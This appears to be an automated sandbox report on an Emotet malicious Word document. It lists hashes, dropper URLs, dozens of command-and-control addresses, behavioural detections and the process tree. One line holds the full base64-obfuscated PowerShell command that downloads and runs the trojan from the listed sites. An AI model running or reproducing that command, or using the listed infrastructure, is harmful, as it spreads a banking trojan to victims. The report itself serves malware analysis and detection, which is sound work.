emotet | 0d8ed95b6fe1f98e149883b9f4539d573afdf17d88fb54c8fc6ecc97eaa3ad3a

Analysis

max time kernel
135s
max time network
147s
platform
windows10_x64
resource
win10
submitted
12/08/2020, 03:45

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General

Target
emotet_e3_0d8ed95b6fe1f98e149883b9f4539d573afdf17d88fb54c8fc6ecc97eaa3ad3a_2020-08-12__034449._doc.doc
Size 227KB
Sample200812-hmn3gev8fa
SHA256 0d8ed95b6fe1f98e149883b9f4539d573afdf17d88fb54c8fc6ecc97eaa3ad3a
MD5 afc4d3613c7924b21b2b80e1ba176879
SHA1 8d56149521d8472a77feec043cebde4fb7e6c5cd
SHA512 b4fa81d5f0ae2444ede37a70f2728ea19aba8528614d679b9914b2166751f80b27084ce95e098a9a4f2aabf6752fabb05535862c5a15030b443680f37173ebbd
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://samontime.com/wp-content/M7cidlobkp899135/
exe.dropper
http://techycivil.com/wp-content/wvr/
exe.dropper
http://scoopmagazines.com/wp-content/uploads/2020/sEsCvKF/
exe.dropper
http://besanads.com/wp-admin/PbgJVpz/
exe.dropper
http://sindobatam.com/cgi-bin/5yq6g129/

Extracted

Family

emotet

92.24.51.238:80
139.99.157.213:8080
188.166.25.84:8080
81.214.253.80:443
5.79.70.250:8080
41.185.29.128:8080
181.164.110.7:80
177.37.81.212:443
203.153.216.178:7080
178.33.167.120:8080
77.74.78.80:443
37.70.131.107:80
190.164.75.175:80
75.127.14.170:8080
78.188.170.128:80
113.161.148.81:80
105.209.235.113:8080
177.144.130.105:443
81.17.93.134:80
181.134.9.162:80
163.172.107.70:8080
202.5.47.71:80
192.241.220.183:8080
201.235.10.215:80
203.153.216.182:7080
172.105.78.244:8080
139.59.12.63:8080
192.210.217.94:8080
97.104.107.190:80
31.146.61.34:80
107.161.30.122:8080
182.187.139.200:8080
188.251.213.180:443
37.46.129.215:8080
216.75.37.196:8080
176.9.93.82:7080
87.252.100.28:80
74.208.173.91:8080
198.57.203.63:8080
188.0.135.237:80
181.167.35.84:80
185.142.236.163:443
113.160.180.109:80
50.116.78.109:8080
115.165.3.213:80
187.64.128.197:80
78.189.60.109:443
153.220.182.49:80
87.106.231.60:8080
181.113.229.139:443
143.95.101.72:8080
46.32.229.152:8080
179.5.118.12:80
75.139.38.211:80
157.7.164.178:8081
190.55.233.156:80
212.112.113.235:80
185.208.226.142:8080
195.201.56.70:8080
115.78.11.155:80
192.163.221.191:8080
212.156.133.218:80
114.173.201.110:80
91.83.93.103:443
51.38.201.19:7080
46.105.131.68:8080
190.190.15.20:80
182.176.95.147:80
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2996	3428	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4136-15-0x0000000000760000-0x000000000076C000-memory.dmp	emotet
behavioral2/memory/4136-15-0x0000000000760000-0x000000000076C000-memory.dmp	emotet
behavioral2/memory/4224-18-0x0000000000710000-0x000000000071C000-memory.dmp	emotet
behavioral2/memory/4224-18-0x0000000000710000-0x000000000071C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
7	2996	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4136	413.exe
4224	imm32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDINDEV\imm32.exe	413.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2996	powersheLL.exe
2996	powersheLL.exe
2996	powersheLL.exe
4224	imm32.exe
4224	imm32.exe
4224	imm32.exe
4224	imm32.exe
4224	imm32.exe
4224	imm32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2996	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
4136	413.exe
4136	413.exe
4224	imm32.exe
4224	imm32.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 4224	4136	413.exe	75
PID 4136 wrote to memory of 4224	4136	413.exe	75
PID 4136 wrote to memory of 4224	4136	413.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_0d8ed95b6fe1f98e149883b9f4539d573afdf17d88fb54c8fc6ecc97eaa3ad3a_2020-08-12__034449._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAE0AUgBPAE8AegBnAG0APQAnAEsATABOAEQAVgBkAG0AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAGAAVQBSAEkAVABZAHAAcgBgAE8AdABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBWAEYAVwBCAHAAdABmACAAPQAgACcANAAxADMAJwA7ACQARQBQAFYAUgBaAGsAaABwAD0AJwBIAFAAWABYAEMAbwBjAHkAJwA7ACQARABVAE4AUQBEAHkAdwBtAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAFYARgBXAEIAcAB0AGYAKwAnAC4AZQB4AGUAJwA7ACQATwBHAE4ASgBSAGUAbQBhAD0AJwBYAFoAQgBLAFcAZQB0AGEAJwA7ACQAQwBVAFIASwBPAHcAaQBmAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMAbABJAGUAbgB0ADsAJABVAFMAVQBOAEwAaQBqAGsAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbQBvAG4AdABpAG0AZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAE0ANwBjAGkAZABsAG8AYgBrAHAAOAA5ADkAMQAzADUALwAqAGgAdAB0AHAAOgAvAC8AdABlAGMAaAB5AGMAaQB2AGkAbAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHcAdgByAC8AKgBoAHQAdABwADoALwAvAHMAYwBvAG8AcABtAGEAZwBhAHoAaQBuAGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwAyADAAMgAwAC8AcwBFAHMAQwB2AEsARgAvACoAaAB0AHQAcAA6AC8ALwBiAGUAcwBhAG4AYQBkAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFAAYgBnAEoAVgBwAHoALwAqAGgAdAB0AHAAOgAvAC8AcwBpAG4AZABvAGIAYQB0AGEAbQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADUAeQBxADYAZwAxADIAOQAvACcALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBVAFMARABHAGsAdABlAD0AJwBOAE4ATABQAFQAZQB0AHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAUgBNAFIASABuAHAAbAAgAGkAbgAgACQAVQBTAFUATgBMAGkAagBrACkAewB0AHIAeQB7ACQAQwBVAFIASwBPAHcAaQBmAC4AIgBkAG8AVwBuAEwAbwBhAGAARABmAEkAYABMAEUAIgAoACQARQBSAE0AUgBIAG4AcABsACwAIAAkAEQAVQBOAFEARAB5AHcAbQApADsAJABNAFUAWQBSAEYAeQBhAGoAPQAnAEsAWABUAFMARQBiAGUAawAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEQAVQBOAFEARAB5AHcAbQApAC4AIgBsAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAMwAwADIAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAAZQBgAEEAVABlACIAKAAkAEQAVQBOAFEARAB5AHcAbQApADsAJABMAEEARABRAE0AYQB5AG0APQAnAEkARwBXAFIARgBhAGgAZwAnADsAYgByAGUAYQBrADsAJABBAFAAVABEAFcAdQBqAGcAPQAnAFUASgBLAEwASQBhAHMAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAEUATABSAEcAbABjAGIAPQAnAE4ARwBOAFIAVwB2AHMAawAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2996

C:\Users\Admin\413.exe
C:\Users\Admin\413.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4136
- C:\Windows\SysWOW64\KBDINDEV\imm32.exe
  "C:\Windows\SysWOW64\KBDINDEV\imm32.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4224

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2996-10-0x00007FFEA1D20000-0x00007FFEA270C000-memory.dmp

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memory/2996-12-0x00000159D6180000-0x00000159D6181000-memory.dmp

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memory/2996-11-0x00000159BDA80000-0x00000159BDA81000-memory.dmp

Download

memory/3056-4-0x0000028770FD1000-0x0000028770FD8000-memory.dmp

Download

memory/3056-7-0x000002877B45E000-0x000002877B463000-memory.dmp

Download

memory/3056-8-0x000002877B45E000-0x000002877B463000-memory.dmp

Download

memory/3056-9-0x000002877B459000-0x000002877B45E000-memory.dmp

Download

memory/3056-6-0x000002877B45E000-0x000002877B463000-memory.dmp

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memory/3056-5-0x000002877B45E000-0x000002877B463000-memory.dmp

Download

memory/3056-0-0x00007FFEAA320000-0x00007FFEAA9E6000-memory.dmp

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memory/3056-3-0x0000028778A34000-0x0000028778A3D000-memory.dmp

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memory/3056-1-0x0000028770FD1000-0x0000028770FD8000-memory.dmp

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memory/3056-2-0x0000028770FD1000-0x0000028770FD8000-memory.dmp

Download

memory/4136-15-0x0000000000760000-0x000000000076C000-memory.dmp

Download

memory/4224-18-0x0000000000710000-0x000000000071C000-memory.dmp

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